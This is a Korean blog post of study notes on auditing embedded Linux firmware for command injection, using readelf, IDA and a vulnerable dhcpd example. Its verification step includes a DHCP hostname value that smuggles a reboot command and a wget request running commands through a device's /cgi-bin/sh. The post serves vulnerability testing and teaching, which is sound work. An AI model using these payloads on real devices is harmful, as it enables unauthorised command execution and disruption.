NOWS/Security

(임베디드) Command injection vulnerability check 커맨드 인젝션 취약점 점검

emzei 2017. 9. 7. 13:19


커맨드 인젝션 취약점

- OWASP : https://www.owasp.org/index.php/Command_Injection




<커맨드 인젝션 취약점에 노출될 가능성이 있는 함수>

 시스템 함수의 사용을 권고하지 않음 (제약해야함)

  • open() / seek() / write() / close()
  • system ()
  • exec(), execlv(), execve() 등 exec 계열 함수



* 임베디드 리눅스 환경이라 가정

1) 커맨드 인젝션 취약점에 노출될 가능성이 있는 함수 를 사용하는 프로그램 탐지/식별

    • How To?
      • $ find . -type f -executable
      • (OR) $find . -type f perm
    • (1) 함수 이름과 같은 문자열을 포함하고 있는 실행파일 식별
      • $ find (PATH) -type f -executable -exec grep system {} \;
    • (2) 함수를 사용하는지 확인
      • $ readelf -s (FileName) | grep system
      • (example) $ readelf -s sbin/dhcpd | grep system 
        • 프로그램 내에 system() 사용하는 흔적이 있는지 찾음
        • IDA로 점검 필요
      • cf. 파일 형식 및 아키텍쳐 정보 확인: $file sbin/dhcpd


cf. filtering vs. sanitizing

필터링 - 유효하지 않은 인자값 거르기

살균 - 유효하지 않은 인자값을 안전하게 가공


cf. 리눅스 시스템 함수 - 라이브러리 함수, 윈도우 라이브러리 - dll

cf. 리눅스 - ELF



2) 취약한 함수에 전달되는 파라미터 조사

* IDA 함수 윈도우에서 system 함수를 찾아, system함수를 호출하는 지점들을 확인
(실습에서는 sendACK() 함수로 이동)

<점검 항목>

2-1) 명령어 문자열이 동적으로 생성되는가?

2-2) 동적으로 생성되는 명령어 문자열에 사용자 입력값 / 외부입력값이 포함되는가?

* 외부? 다른 프로세스 등 실행중인 프로세스 이외의 것

2-3) 권한 없는 사용자가 입력값을 임의대로 조작할 수 있는가?

2-4) 적절하게 필터링 또는 sanitizing을 수행하는가?

    • How to? -- IDA
      • example : dhcpd - MIPS Little endian. 

      • $s0 = get_option(&packet, DHCP_HOSTNAME)

        memset($1, 0x00, 0x18)

        memcpy($s1, $s0)

        sprintf($s0, "echo %s %d > /var/hostname", $s1)

        system($s0)   


      • Yes/Yes/Yes ==> 취약한 것으로 판단
Cf. 네트워크 관련 파이썬 라이브러리 : Scapy
Cf. DHCP 동작순서  : D-O-R-A
Discover/ Offer/ Request/ Acknowledge
  • DHCP : Stateless
  • Scapy를 활용한 python 진단 코드


3) 취약점 검증

 (예 DHCP)

3-1) /etc/dhcp/dhclient.conf 파일 수정

send host-name ";/sbin/reboot;";

3-2) dhcp client 재실행

$ sudo kill -9 $(pidof dhclient)

$ sudo dhclient eth0 

cf. 네트워크 인터페이스명은 다를 수 있음

3-3) UART 메시지 확인

3-4) 취약점 확인 

$ wget -qO- --post-data="echo -e 'Content-type: text/plain\n';PATH=\$PATH:/sbin ifconfig" http://192.168.0.1/cgi-bin/sh

'NOWS > Security' 카테고리의 다른 글

Firmware 이해하기 (2) IDA  (0) 2017.09.06
Firmware 이해하기 (1) MIPS 이해하기  (0) 2017.09.06
SSL 프로토콜  (0) 2016.07.06
암호 공격 방식  (0) 2016.07.06
방화벽 (Firewall) : 침입 차단 시스템  (0) 2016.07.06